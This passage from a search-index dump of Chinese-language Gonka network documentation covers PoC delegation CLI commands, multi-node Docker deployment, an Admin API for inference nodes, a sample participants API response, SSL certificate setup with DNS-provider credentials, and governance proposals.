"}, {"location": "gonka/docs/zh/host/multi_model_poc/#if-keys-show-fails-set-your-address-explicitly", "title": "If keys show fails, set your address explicitly:", "text": ""}, {"location": "gonka/docs/zh/host/multi_model_poc/#my_addrgonka1", "title": "MY_ADDR=\"gonka1...\"", "text": "``以下每个tx inference …示例都重复使用相同的--from/--node/--chain-id/--keyring-backend/ gas 参数，因此你可以直接复制 **一个** 代码块，而无需从其他位置合并行。如果你的密钥环已经是默认设置，则可以省略--keyring-backend` 参数。
可选 — 减少重复参数： 在本机的 CLI 客户端配置中设置默认的 RPC 节点和链 ID（采用 Cosmos 风格的 client.toml；使用 ./inferenced config --help 查看帮助）。设置后，你可以在下面的交易命令中省略 --node 和 --chain-id 参数。
./inferenced query inference params --node \"$NODE\" -o json ```
bash ./inferenced query inference get-current-epoch --node \"$NODE\" -o json### 查询委派状态
所有模型：bash ./inferenced query inference poc-delegation \"$MY_ADDR\" --node \"$NODE\" -o json一个模型（第二个参数可选）：bash ./inferenced query inference poc-delegation \"$MY_ADDR\" \"$MODEL\" --node \"$NODE\" -o json响应会分别列出 委托（delegations）、拒绝（refusals）和 意图（intents）；对于特定模型，你最多只会拥有三者中的一个。
委托（发送交易时，被委托方无需已在运行该模型的 PoC）：```bash MODEL=\"your-model-id\" DELEGATEE=\"gonka1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"
./inferenced tx inference set-poc-delegation \"$MODEL\" \"$DELEGATEE\" \\ --from \"$KEY\" \\ --node \"$NODE\" \\ --chain-id \"$CHAIN_ID\" \\ --keyring-backend \"$KEYRING_BACKEND\" \\ --gas auto \\ --gas-adjustment 1.3 \\ -y **明确的授权：**bash MODEL=\"your-model-id\"
./inferenced tx inference set-poc-delegation \"$MODEL\" \"\" \\ --from \"$KEY\" \\ --node \"$NODE\" \\ --chain-id \"$CHAIN_ID\" \\ --keyring-backend \"$KEYRING_BACKEND\" \\ --gas auto \\ --gas-adjustment 1.3 \\ -y **垃圾：**bash MODEL=\"your-model-id\"
./inferenced tx inference refuse-poc-delegation \"$MODEL\" \\ --from \"$KEY\" \\ --node \"$NODE\" \\ --chain-id \"$CHAIN_ID\" \\ --keyring-backend \"$KEYRING_BACKEND\" \\ --gas auto \\ --gas-adjustment 1.3 \\ -y **引导意图：**bash MODEL=\"your-model-id\"
./inferenced tx inference declare-poc-intent \"$MODEL\" \\ --from \"$KEY\" \\ --node \"$NODE\" \\ --chain-id \"$CHAIN_ID\" \\ --keyring-backend \"$KEYRING_BACKEND\" \\ --gas auto \\ --gas-adjustment 1.3 \\ -y ```---
"}, {"location": "gonka/docs/zh/host/multi_model_poc/#_12", "title": "惩罚与参数", "text": "惩罚机制以及委托份额在 PoC 结果已知之后、构建下一纪元的活跃节点集合时，应用于共识权重。以下所有内容均来自 ./inferenced query inference params 命令的输出（不同版本的 JSON 字段略有差异，请在输出中搜索这些字段名）。
params 中的位置 字段 对节点运营者的含义 poc_params → models 中的每个模型 penalty_start_epoch 在此纪元索引之前，该模型的惩罚规则不生效。需按 model_id 单独跟踪。 poc_params → models 中的每个模型 weight_scale_factor 将该模型的 PoC 权重按比例转换为共识权重。 delegation_params refusal_penalty 在 penalty_start_epoch 之后，若你使用了 refuse-poc-delegation，将被扣除原始共识权重的该比例部分。 delegation_params no_participation_penalty 若你未拒绝、没有有效委托、也未自行服务模型——在惩罚生效后，将被扣除该比例的原始共识权重。 delegation_params delegation_share 当委托有效时，委托人原始权重的该比例部分将重新分配给被委托人。 delegation_params deploy_window 下一轮 PoC 开始前的区块数，用于确定引导快照高度（next_poc_start − deploy_window）。 高级资格参数（大多数节点运营者可忽略）：w_threshold、v_min、cap_factor、initial_model_id、max_model_voting_power_percentage —— 这些是资格门槛、上限及每模型投票集中度限制。最后一项为零通常表示“无上限”。
如果 refusal_penalty、no_participation_penalty 和 delegation_share 均为 零，则链不会执行这些扣减或转移操作（升级后初期常见情况，直到治理启用这些功能）。
params 中的 poc_params 列出了你关心的每一个模型。penalty_start_epoch。refusal_penalty、no_participation_penalty 和 delegation_share 是否非零。poc-delegation 命令验证结果。bootstrap_model_preeligibility 事件，若计划参与，需在快照捕获高度前发送 declare-poc-intent。在此方案中，您将在多台服务器上部署网络节点以及一个或多个推理（ML）节点。要加入网络，需要部署两类服务：
本指南说明如何在同一台机器上部署这两类服务，以及如何在不同机器上部署。服务均以 Docker 容器形式部署。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#_2", "title": "先决条件", "text": "网络节点的大致硬件要求：
最终需求取决于所连接的 ML 节点数量及其总吞吐量。
在继续之前，请先完成快速入门指南至步骤 3.3，包括：
本节说明如何部署一个网络节点与多个推理节点的分布式方案。
Note
在启动网络节点之前，请确保网络服务器上 config.env 中的 DAPI_API__POC_CALLBACK_URL 已正确设置。该变量定义 API 容器的回调 URL，会传给所有 ML 节点，供其发送计算证明（PoC）nonce。 多节点部署时，该 URL 必须能被集群内所有 ML 节点访问。请勿保留默认的 Docker 内部地址（http://api:9100），因为外部 ML 节点无法访问。请改为网络节点服务器的内网地址（或 DNS 名称），例如：DAPI_API__POC_CALLBACK_URL=http://<NETWORK_NODE_PRIVATE_IP>:9100。若网络节点的 API 容器已用错误值启动，请更新 config.env 并重启 api 容器。 确保端口 9100 已开放，且可从您网络中所有推理（ML）节点访问。
请确保已先完成快速入门指南至步骤 3.3（密钥管理与主机注册）。
该服务器将作为对外参与者的入口，需暴露在公网（建议使用静态 IP 或域名）。网络稳定性和安全性很重要，请使用稳定、高带宽且安全加固的服务器。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#_5", "title": "单机部署：网络节点 + 推理节点", "text": "若网络节点服务器有 GPU，且希望在同一台机器上同时运行网络节点和推理节点，请在 gonka/deploy/join 目录下执行：
source config.env && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml logs -f\n将在同一台机器上启动一个网络节点和一个推理节点。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#_6", "title": "分机部署：仅网络节点", "text": "若网络节点服务器没有 GPU，且只运行网络节点（不运行推理节点），请在 gonka/deploy/join 目录下执行：
source config.env && \\ \ndocker compose -f docker-compose.yml up -d && \\\ndocker compose -f docker-compose.yml logs -f \n网络节点激活后将参与下一轮计算证明（PoC），其权重将根据所连接推理节点产生的工作量更新。若未连接推理节点，则不会参与 PoC 也不会出现在列表中。下一轮 PoC 后，网络节点将出现在活跃主机列表中（变更生效约需 1–3 小时）：
http://node2.gonka.ai:8000/v1/epochs/current/participants\n若按下文步骤增加更多推理节点服务器，更新后的权重将在下一轮 PoC 后反映在活跃主机列表中。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#_8", "title": "在独立服务器上运行推理节点", "text": "在其他服务器上仅运行推理节点，请按以下步骤操作。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#1", "title": "步骤 1. 配置推理节点", "text": "1.1. 下载部署文件
克隆包含基础部署脚本的仓库：
git clone https://github.com/gonka-ai/gonka.git -b main\n1.2.（可选）将模型权重预下载到 Hugging Face 缓存（HF_HOME）
推理节点从 Hugging Face 下载模型权重。为确保推理前权重已就绪，建议在部署前下载。可任选一种方式。
export HF_HOME=/path/to/your/hf-cache\n创建可写目录（如 ~/hf-cache），并按需预加载模型。 当前网络以 MiniMaxAI/MiniMax-M2.7 作为活跃的 PoC 模型。
huggingface-cli download MiniMaxAI/MiniMax-M2.7\n1.3. 供网络节点连接的开放端口
5050 - 推理请求（映射到 ML 节点的 5000）\n8080 - 管理 API 端口（映射到 ML 节点的 8080）\n重要
这些端口不得暴露在公网（仅应在网络节点所在环境中可访问）。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#2", "title": "步骤 2. 启动推理节点", "text": "在推理节点所在服务器上，进入 cd gonka/deploy/join 目录并执行：
docker compose -f docker-compose.mlnode.yml up -d && docker compose -f docker-compose.mlnode.yml logs -f\n这将部署推理节点，并在其注册到您的网络节点（见下文）后开始处理推理与计算证明（PoC）任务。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#_9", "title": "向网络节点添加（注册）推理节点", "text": "必须将每个推理节点注册到网络节点后才会生效。 推荐通过网络节点服务器终端使用 Admin API 进行动态管理：
curl -X POST http://localhost:9200/admin/v1/nodes \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"<unique_id>\",\n \"host\": \"<your_inference_node_static_ip>\",\n \"inference_port\": <inference_port>,\n \"poc_port\": <poc_port>,\n \"max_concurrent\": <max_concurrent>,\n \"models\": {\n \"<model_name>\": {\n \"args\": [\n <model_args>\n ]\n }\n }\n }'\n参数说明
参数 说明 示例id 推理节点的唯一标识符 node1 host 推理节点的静态 IP，或与网络节点在同一 Docker 网络时的容器名 http://<mlnode_ip> inference_port 推理节点接收推理与训练任务的端口 5050（映射到 ML 节点 nginx 的 5000） poc_port 用于 ML 节点管理 的端口 8080（映射到 ML 节点 nginx 的 8080） max_concurrent 该节点可处理的最大并发推理请求数 500 models 推理节点可处理的支持的模型集合 （见下） model_name 模型名称 MiniMaxAI/MiniMax-M2.7 model_args 该模型的 vLLM 推理参数 \"--tensor-parallel-size\",\"4\" 当前网络以 MiniMaxAI/MiniMax-M2.7 作为活跃的 PoC 模型。
为确保配置正确且性能最优，请使用与您的模型和 GPU 布局最匹配的参数。
模型与 GPU 布局 vLLM 参数MiniMaxAI/MiniMax-M2.7 在 4xH100 上 \"--tensor-parallel-size\",\"4\" 如需根据 GPU 硬件选择最优部署配置与 vLLM 参数的详细说明，请参阅 为 LLM 选择最优部署配置的基准测试指南。
若节点添加成功，响应将返回新添加推理节点的配置。
"}, {"location": "gonka/docs/zh/host/multiple-nodes/#_10", "title": "获取所有推理节点", "text": "要查看网络节点下所有已注册推理节点列表，请使用：
curl -X GET http://localhost:9200/admin/v1/nodes\n在网络节点服务器上，使用以下 Admin API 请求可动态移除推理节点而无需重启：
curl -X DELETE \"http://localhost:9200/admin/v1/nodes/{id}\" -H \"Content-Type: application/json\"\nid 为注册推理节点时使用的标识符。成功时响应为 true。"}, {"location": "gonka/docs/zh/host/network-node-api/", "title": "网络节点 API", "text": ""}, {"location": "gonka/docs/zh/host/network-node-api/#api", "title": "网络节点 API", "text": "本节介绍 Network Node API 的 /v1/epochs/{epoch_id}/participants 接口。该接口用于获取：
当前 Epoch 数据
curl -X GET http://<your_api_node_url:public_port>/v1/epochs/current/participants\n指定 Epoch 数据
curl -X GET http://<your_api_node_url:public_port>/v1/epochs/<epoch_id>/participants\n{\n \"active_participants\": {\n \"participants\": [\n {\n \"index\": \"gonka17tvsmufmewvwfy3dfxz7l20jmlhhn6ekfcun7r\",\n \"validator_key\": \"ljvRT9VScsxQKKX4S91yJRNppbz691ceD4sBYBRrAys=\",\n \"weight\": 10,\n \"inference_url\": \"http://genesis-api:8080\",\n \"models\": [\n \"unsloth/llama-3-8b-Instruct\"\n ],\n \"seed\": {\n \"participant\": \"gonka17tvsmufmewvwfy3dfxz7l20jmlhhn6ekfcun7r\",\n \"block_height\": 9,\n \"signature\": \"6a2523cd5898539ef8ea765c7ab78f0de5dbcbb32a34b9706baa7294589f94d657422f573e7a4325d4ba8661466171c9621a51544478eb69f90a49b5271c1400\"\n }\n }\n ],\n \"epoch_group_id\": 1,\n \"poc_start_block_height\": 9,\n \"created_at_block_height\": 15\n },\n \"addresses\": [\n \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\"\n ],\n \"active_participants_bytes\": \"0acc020a2d636f736d6f7331377476736d75666d657776776679336466787a376c32306a6d6c68686e36656b6663756e3772122c6c6a765254395653637378514b4b5834533931794a524e7070627a363931636544347342594252724179733d180a2217687474703a2f2f67656e657369732d6170693a383038302a1b756e736c6f74682f6c6c616d612d332d38622d496e73747275637432b4010a2d636f736d6f7331377476736d75666d657776776679336466787a376c32306a6d6c68686e36656b6663756e377210091a8001366132353233636435383938353339656638656137363563376162373866306465356462636262333261333462393730366261613732393435383966393464363537343232663537336537613433323564346261383636313436363137316339363231613531353434343738656236396639306134396235323731633134303010011809280f\",\n \"proof_ops\": {\n \"ops\": [\n {\n \"type\": \"ics23:iavl\",\n \"key\": \"QWN0aXZlUGFydGljaXBhbnRzLzEvdmFsdWUv\",\n \"data\": \"CuMEChtBY3RpdmVQYXJ0aWNpcGFudHMvMS92YWx1ZS8S1QIKzAIKLWNvc21vczE3dHZzbXVmbWV3dndmeTNkZnh6N2wyMGptbGhobjZla2ZjdW43chIsbGp2UlQ5VlNjc3hRS0tYNFM5MXlKUk5wcGJ6NjkxY2VENHNCWUJSckF5cz0YCiIXaHR0cDovL2dlbmVzaXMtYXBpOjgwODAqG3Vuc2xvdGgvbGxhbWEtMy04Yi1JbnN0cnVjdDK0AQotY29zbW9zMTd0dnNtdWZtZXd2d2Z5M2RmeHo3bDIwam1saGhuNmVrZmN1bjdyEAkagAE2YTI1MjNjZDU4OTg1MzllZjhlYTc2NWM3YWI3OGYwZGU1ZGJjYmIzMmEzNGI5NzA2YmFhNzI5NDU4OWY5NGQ2NTc0MjJmNTczZTdhNDMyNWQ0YmE4NjYxNDY2MTcxYzk2MjFhNTE1NDQ0NzhlYjY5ZjkwYTQ5YjUyNzFjMTQwMBABGAkoDxoLCAEYASABKgMAAh4iKwgBEgQCBB4gGiEgwUNlynn4mzi4AC3u2itEeV3Y7Qe2vynK7Qqup2tmVgAiKwgBEgQECB4gGiEgiNVJ1Gl2VO0MezltgAUQs72vlGp3j3OWKH1OAD9MPHoiKwgBEgQGDB4gGiEgLyrwJqJ3jIIDD+gd8EO/3G8lNiCgkcpBn9IkqETCGbYiKwgBEgQIEh4gGiEgktjdW4rq4PGPx+En8SQnX7eIl6J5Qf4I9NEMMCokPa4iKwgBEgQKKB4gGiEg4Lo2jUStQ7FHrFhkm+Tk5df+rBHeeA6Ey5npZw+DEIk=\"\n },\n {\n \"type\": \"ics23:simple\",\n \"key\": \"aW5mZXJlbmNl\",\n \"data\": \"CtoBCglpbmZlcmVuY2USIAeInJI1DSn8uBZz5z28V3JeXiQ7kPFDaCWqZeKu/1+ZGgkIARgBIAEqAQAiJwgBEgEBGiCkF0H31nsqBz1NVD3bG1444WqkoI982R1FXozDhDZvTyInCAESAQEaIJXhyLpHqjGG8RNH1IDYExUpZFPyxZvc7HLLmYEKxBeAIicIARIBARogVb5ZN4+aA5PlSPOrcbIeH/EuZ+nmQpJSod9LdNOb3WkiJQgBEiEBecxJ03qGQtj8qBYv4F3GTI9KLCix0WU+5PQNmJxXm7o=\"\n }\n ]\n },\n \"validators\": [\n {\n \"address\": \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\",\n \"pub_key\": \"ljvRT9VScsxQKKX4S91yJRNppbz691ceD4sBYBRrAys=\",\n \"voting_power\": 1000000,\n \"proposer_priority\": 0\n }\n ],\n \"block\": [\n {\n \"header\": {\n \"version\": { \"block\": 11 },\n \"chain_id\": \"gonka-mainnet\",\n \"height\": 15,\n \"time\": \"2025-04-02T21:13:34.100375646Z\",\n \"last_block_id\": {\n \"hash\": \"306D1EBC3628F0571D5F772C85B554A8CD30C298648B4E325EC82945E7D20841\",\n \"parts\": {\n \"total\": 1,\n \"hash\": \"055C7DD9132B5133B7D422D423ED775BC4FF5E7E3C7447C4539B5573D67686DD\"\n }\n },\n \"last_commit_hash\": \"04584765750C36899099C65023702382D718F5CF5E44581F675EAEDF4F15DE9E\",\n \"data_hash\": \"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855\",\n \"validators_hash\": \"BC21E09900AE1CBD50444061E0B1853550A509A3B8CE3B2BF5DA0C9DCC0351B0\",\n \"next_validators_hash\": \"BC21E09900AE1CBD50444061E0B1853550A509A3B8CE3B2BF5DA0C9DCC0351B0\",\n \"consensus_hash\": \"048091BC7DDC283F77BFBF91D73C44DA58C3DF8A9CBC867405D8B7F3DAADA22F\",\n \"app_hash\": \"6DAF9E22F6A30D441F5C40BF37ABD8A3B11A7582F5023413639C3015C6E47713\",\n \"last_results_hash\": \"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855\",\n \"evidence_hash\": \"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855\",\n \"proposer_address\": \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\"\n },\n \"data\": { \"txs\": null },\n \"evidence\": { \"evidence\": null },\n \"last_commit\": {\n \"height\": 14,\n \"round\": 0,\n \"block_id\": {\n \"hash\": \"306D1EBC3628F0571D5F772C85B554A8CD30C298648B4E325EC82945E7D20841\",\n \"parts\": {\n \"total\": 1,\n \"hash\": \"055C7DD9132B5133B7D422D423ED775BC4FF5E7E3C7447C4539B5573D67686DD\"\n }\n },\n \"signatures\": [\n {\n \"block_id_flag\": 2,\n \"validator_address\": \"BBDEDC12E4830D2086263415BE3FB4BF43C505A5\",\n \"timestamp\": \"2025-04-02T21:13:34.100375646Z\",\n \"signature\": \"twGyWJvYr+jV1Hhfjio7p7lkDbg2+OrpUqI6Nmb3xHta0hKQyoky2S4U755x2YewLdG8t/1TlaqzurljQoXmDg==\"\n }\n ]\n }\n ]\n}\nactive_participants
participants：活跃参与者列表，包括：
index：gonka 地址validator_key：公钥（Base64）weight：投票权重inference_url：服务端点models：支持的模型列表seed：带有元数据的签名种子addresses：参与者地址列表（大写十六进制）
active_participants_bytes：编码 Host 数据的原始字节数组（十六进制编码）——可用于 Merkle 证明验证或状态同步。
proof_ops：用于验证的 ICS23 兼容的证明操作列表
validators：该 epoch 时刻的验证者集合：
address：验证者地址pub_key：公钥（Base64）voting_power：当前投票权重proposer_priority：共识出块优先级block：围绕该 epoch 事件的区块列表
需要帮助？ 请先查看我们的常见问题页面，或加入我们的Discord 服务器 服务器，以获取关于一般咨询、技术问题或安全相关事项的协助。
"}, {"location": "gonka/docs/zh/host/optional-ssl-setup/", "title": "[可选] SSL 设置", "text": ""}, {"location": "gonka/docs/zh/host/optional-ssl-setup/#ssl", "title": "[可选] SSL 设置", "text": ""}, {"location": "gonka/docs/zh/host/optional-ssl-setup/#_1", "title": "使用场景", "text": "适用于希望为公共 API、链端点（RPC/REST/gRPC）和/或 Explorer 提供 HTTPS 的主机。
"}, {"location": "gonka/docs/zh/host/optional-ssl-setup/#_2", "title": "选择模式", "text": "NGINX_MODE 暴露的端口数量 描述 http 单端口（默认 8000） 仅 HTTP（无 TLS） https 单端口（默认 8443） 仅 HTTPS；需要证书 both 双端口（默认 8000/8443） 同时提供 HTTP 和 HTTPS（迁移期间推荐） 提示： 在迁移阶段先使用 both；后续切换为 https 来强制启用 TLS。
docker compose 的 ssl 配置文件即可 一键启用。proxy（nginx）和 proxy-ssl（ACME 签发器）。 proxy 会请求 proxy-ssl 为 CERT_ISSUER_DOMAIN（以及配置的子域名）申请证书。 proxy-ssl 使用你提供的 DNS API 密钥 对接 DNS 提供商执行 DNS-01 验证，从 Let’s Encrypt 获取证书，并存储在共享挂载目录 (./secrets/nginx-ssl)。 proxy 读取已签发的证书并提供 HTTPS 服务。续期过程自动重复。proxy 的主机。proxy 和 proxy-ssl（启用 ssl profile）的 compose stack。mkdir -p deploy/join/secrets/nginx-ssl deploy/join/secrets/certbot\ndeploy/join/config.env", "text": "最小示例 HTTPS on 8443:
# Core proxy settings\nNGINX_MODE=both\nAPI_PORT=8000 # HTTP backend (used if you also keep 80 open)\nAPI_SSL_PORT=8443 # HTTPS backend\n\n# Automatic certificate issuance via proxy-ssl\nCERT_ISSUER_DOMAIN=your.domain\nCERT_ISSUER_ALLOWED_SUBDOMAINS=api,explorer,rpc # optional; comma-separated\nCERT_ISSUER_JWT_SECRET=change-me # any strong shared secret\n\n# ACME / Let's Encrypt account\nACME_ACCOUNT_EMAIL=you@example.com\nACME_DNS_PROVIDER=cloudflare # one of: route53|cloudflare|gcloud|azure|digitalocean|hetzner\n\n# DNS provider credential - see instructions how to abtain below\n使用与你的 DNS 提供商匹配的凭证。点击提供商跳转到 详细步骤。
提供商 必需环境变量 CloudflareCF_DNS_API_TOKEN AWS Route53 AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION Google Cloud DNS GCE_PROJECT, GCE_SERVICE_ACCOUNT_JSON_B64 Azure DNS AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_SUBSCRIPTION_ID DigitalOcean DNS DO_AUTH_TOKEN Hetzner DNS HETZNER_API_KEY (以下 provider 详细步骤保持英文原文，以保证准确性。)
CloudflareCloudflare
1) Open the Cloudflare Dashboard.
2) Go to Profile → API Tokens.
3) Click Create Token.
4) Use Edit zone DNS template or set permissions: Zone:Read and DNS:Edit.
5) Limit the token to your DNS zone and create it.
6) Copy the token and set CF_DNS_API_TOKEN.
AWS Route53AWS Route53
Option A — AWS CLI
HOSTED_ZONE_ID=\"Z123EXAMPLE\"\ncat > route53-acme.json <<'JSON'\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"route53:ChangeResourceRecordSets\"],\n \"Resource\": \"arn:aws:route53:::hostedzone/${HOSTED_ZONE_ID}\"\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"route53:ListHostedZones\",\n \"route53:ListHostedZonesByName\",\n \"route53:ListResourceRecordSets\",\n \"route53:GetChange\"\n ],\n \"Resource\": \"*\"\n }\n]\n}\nJSON\n\naws iam create-policy \\\n--policy-name acme-dns-route53-${HOSTED_ZONE_ID} \\\n--policy-document file://route53-acme.json | jq -r .Policy.Arn\n\nUSER_NAME=\"acme-dns\"\nPOLICY_ARN=$(aws iam list-policies --query \"Policies[?PolicyName=='acme-dns-route53-${HOSTED_ZONE_ID}'].Arn\" -o tsv)\naws iam create-user --user-name \"$USER_NAME\" >/dev/null || true\naws iam attach-user-policy --user-name \"$USER_NAME\" --policy-arn \"$POLICY_ARN\"\nCREDS=$(aws iam create-access-key --user-name \"$USER_NAME\")\nAWS_ACCESS_KEY_ID=$(echo \"$CREDS\" | jq -r .AccessKey.AccessKeyId)\nAWS_SECRET_ACCESS_KEY=$(echo \"$CREDS\" | jq -r .AccessKey.SecretAccessKey)\n\necho \"AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID\"\necho \"AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY\"\necho \"AWS_REGION=<your-aws-region>\"\nOption B — Console
1) Create an IAM policy limited to your hosted zone (ChangeResourceRecordSets and list permissions).
2) Create an IAM user with programmatic access.
3) Attach the policy to the user.
4) Create an access key pair and set AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_REGION.
Google Cloud DNSGoogle Cloud DNS
Option A — gcloud CLI:
PROJECT_ID=\"<your-gcp-project>\"\nSA_NAME=\"acme-dns\"\nSA_EMAIL=\"$SA_NAME@$PROJECT_ID.iam.gserviceaccount.com\"\n\ngcloud config set project \"$PROJECT_ID\"\n# 1) Service account\ngcloud iam service-accounts create \"$SA_NAME\" \\\n--display-name \"ACME DNS for proxy-ssl\"\n# 2) Role\ngcloud projects add-iam-policy-binding \"$PROJECT_ID\" \\\n--member \"serviceAccount:$SA_EMAIL\" \\\n--role \"roles/dns.admin\"\n# 3) Key → base64 (single line)\ngcloud iam service-accounts keys create key.json --iam-account \"$SA_EMAIL\"\nGCE_SERVICE_ACCOUNT_JSON_B64=$(base64 < key.json | tr -d '\\n')\n\necho \"GCE_PROJECT=$PROJECT_ID\"\necho \"GCE_SERVICE_ACCOUNT_JSON_B64=$GCE_SERVICE_ACCOUNT_JSON_B64\"\n1) IAM & Admin → Service Accounts → Create service account (e.g., acme-dns).
2) Grant the service account role: DNS Administrator (roles/dns.admin).
3) Service account → Keys → Add key → Create new key (JSON) → Download.
4) Base64-encode the JSON key to a single line and set GCE_SERVICE_ACCOUNT_JSON_B64. Set GCE_PROJECT to your project ID.
Azure DNS
Option A — Azure CLI (quick)
# 1) Login and choose subscription\naz login\naz account set --subscription \"<your-subscription-name-or-id>\"\n\n# 2) Set where your DNS zone lives\nRG=\"<<your-dns-resource-group>>\"\nZONE=\"<<your-zone>>\" # e.g., gonka.ai\nSP_NAME=\"gonka-acme-$(date +%s)\"\n\nSUBSCRIPTION_ID=$(az account show --query id -o tsv)\nSCOPE=\"/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG/providers/Microsoft.Network/dnszones/$ZONE\"\n\nCREDS=$(az ad sp create-for-rbac \\\n--name \"$SP_NAME\" \\\n--role \"DNS Zone Contributor\" \\\n--scopes \"$SCOPE\" \\\n--only-show-errors)\n\n# 4) Extract values\nAZURE_CLIENT_ID=$(echo \"$CREDS\" | jq -r .appId)\nAZURE_CLIENT_SECRET=$(echo \"$CREDS\" | jq -r .password)\nAZURE_TENANT_ID=$(echo \"$CREDS\" | jq -r .tenant)\n\n# 5) Print for your env file\necho \"AZURE_CLIENT_ID=$AZURE_CLIENT_ID\"\necho \"AZURE_CLIENT_SECRET=$AZURE_CLIENT_SECRET\"\necho \"AZURE_SUBSCRIPTION_ID=$SUBSCRIPTION_ID\"\necho \"AZURE_TENANT_ID=$AZURE_TENANT_ID\"\n1) Go to Microsoft Entra ID → App registrations → New registration. Copy Application (client) ID and Directory (tenant) ID.
2) Go to Certificates & secrets → New client secret. Copy the secret value and set AZURE_CLIENT_SECRET.
3) Copy your Subscription ID and set AZURE_SUBSCRIPTION_ID.
4) In your DNS zone, open Access control (IAM) → Add role assignment → DNS Zone Contributor → assign to the registered app.
DigitalOcean DNSDigitalOcean DNS
1) Open DigitalOcean Control Panel.
2) Go to API → Tokens.
3) Generate a write‑scoped token and set DO_AUTH_TOKEN.
Hetzner DNS
1) Open https://dns.hetzner.com.
2) Go to API Tokens.
3) Create a new token and set HETZNER_API_KEY.
在 deploy/join 目录下执行：
# Enable / upgrade only the proxy pieces\nsource ./config.env && \\\n docker compose --profile \"ssl\" \\\n -f docker-compose.yml -f docker-compose.mlnode.yml \\\n pull proxy proxy-ssl && \\\n docker compose --profile \"ssl\" \\\n -f docker-compose.yml -f docker-compose.mlnode.yml \\\n up -d proxy proxy-ssl\nproxy 和 proxy-ssl 需要重启以应用 SSL 改动。其他服务可以继续运行。"}, {"location": "gonka/docs/zh/host/optional-ssl-setup/#4", "title": "4) 验证", "text": "docker compose logs -n 200 proxy proxy-ssl\ncurl -I https://your.domain:8443/health # Expect: HTTP/2 200 OK\n自动完成：
./secrets/nginx-ssl 中的已有文件）。需要手动操作时：
proxy-ssl。CERT_ISSUER_DOMAIN 或子域名 → 更新 env，确认 DNS 记录存在，然后重启 proxy 和 proxy-ssl。应用 env 改动的命令：:
source ./config.env && \\\n docker compose --profile \"ssl\" -f docker-compose.yml -f docker-compose.mlnode.yml up -d proxy proxy-ssl\nDockerized Certbot DNS-01 验证），并将证书放在 ./secrets/nginx-ssl/ 下。proxy（nginx） 容器会使用 SSL_CERT_SOURCE 中的 cert/key 文件来提供 TLS。Let’s Encrypt + Certbot 或其他 CA）private.key（权限 0600）放在 deploy/join/secrets/nginx-ssl/。NGINX_MODE 为 both（迁移期间推荐）或 https。SERVER_NAME 为完整域名，并设置 API_SSL_PORT 为 HTTPS 端口（我们的 stack 默认 8443）。SSL_CERT_SOURCE=./secrets/nginx-ssl。CERT_ISSUER_DOMAIN（该字段仅用于自动化 Proxy SSL 模式）。mkdir -p secrets/nginx-ssl secrets/certbot\nDOMAIN=<FULL_DOMAIN_NAME>\nACCOUNT_EMAIL=<EMAIL_ADDRESS> # renewal notices\nmkdir -p secrets/nginx-ssl secrets/certbot\n\ndocker run --rm -it \\\n -v \"$(pwd)/secrets/certbot:/etc/letsencrypt\" \\\n -v \"$(pwd)/secrets/nginx-ssl:/mnt/nginx-ssl\" \\\n certbot/certbot certonly --manual --preferred-challenges dns \\\n -d \"$DOMAIN\" --email \"$ACCOUNT_EMAIL\" --agree-tos --no-eff-email \\\n --deploy-hook 'install -m 0644 \"$RENEWED_LINEAGE/fullchain.pem\" /mnt/nginx-ssl/cert.pem; \\\n install -m 0600 \"$RENEWED_LINEAGE/privkey.pem\" /mnt/nginx-ssl/private.key'\nCertbot 会暂停并显示需要添加到 DNS 的 TXT 记录。验证通过后，cert.pem 和 private.key 会出现在 ./secrets/nginx-ssl/。
deploy/join/config.env", "text": "export NGINX_MODE=\"both\" # or https\nexport API_SSL_PORT=\"8443\" # HTTPS port served by proxy\nexport SERVER_NAME=\"${DOMAIN}\" # full domain name\nexport SSL_CERT_SOURCE=\"./secrets/nginx-ssl\"\n# IMPORTANT: do NOT set CERT_ISSUER_DOMAIN in Manual mode\nsource config.env && \\\n docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull proxy && \\\n docker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d --no-deps proxy\ncurl -I https://<FULL_DOMAIN_NAME>:8443/health # Expect: HTTP/2 200 OK\n在 Gonka 中，有两种主要的提议和协调变更的方式：治理提案和改进提案。
"}, {"location": "gonka/docs/zh/host/proposals/#_2", "title": "改进提案（链下）", "text": "用于讨论长期计划、重大架构想法和制定社区路线图。它们类似于比特币的 BIPs。
有关链下改进提案，请参阅 /proposals 文件夹。
"}, {"location": "gonka/docs/zh/host/proposals/#_3", "title": "治理提案（链上）", "text": "用于直接影响网络并需要链上投票的变更：
MsgUpdateParams）治理权力通过可验证的计算工作获得，而不是被动的代币持有。默认情况下，每个主机的 PoC 衍生投票权重中只有 20% 自动激活。要解锁剩余的 80%，主机必须锁定 GNK 代币作为抵押，将治理影响力与真实的经济承诺联系起来。技术细节，包括权重激活机制和抵押比率，在 Gonka: 代币经济学 中涵盖。
宽限期
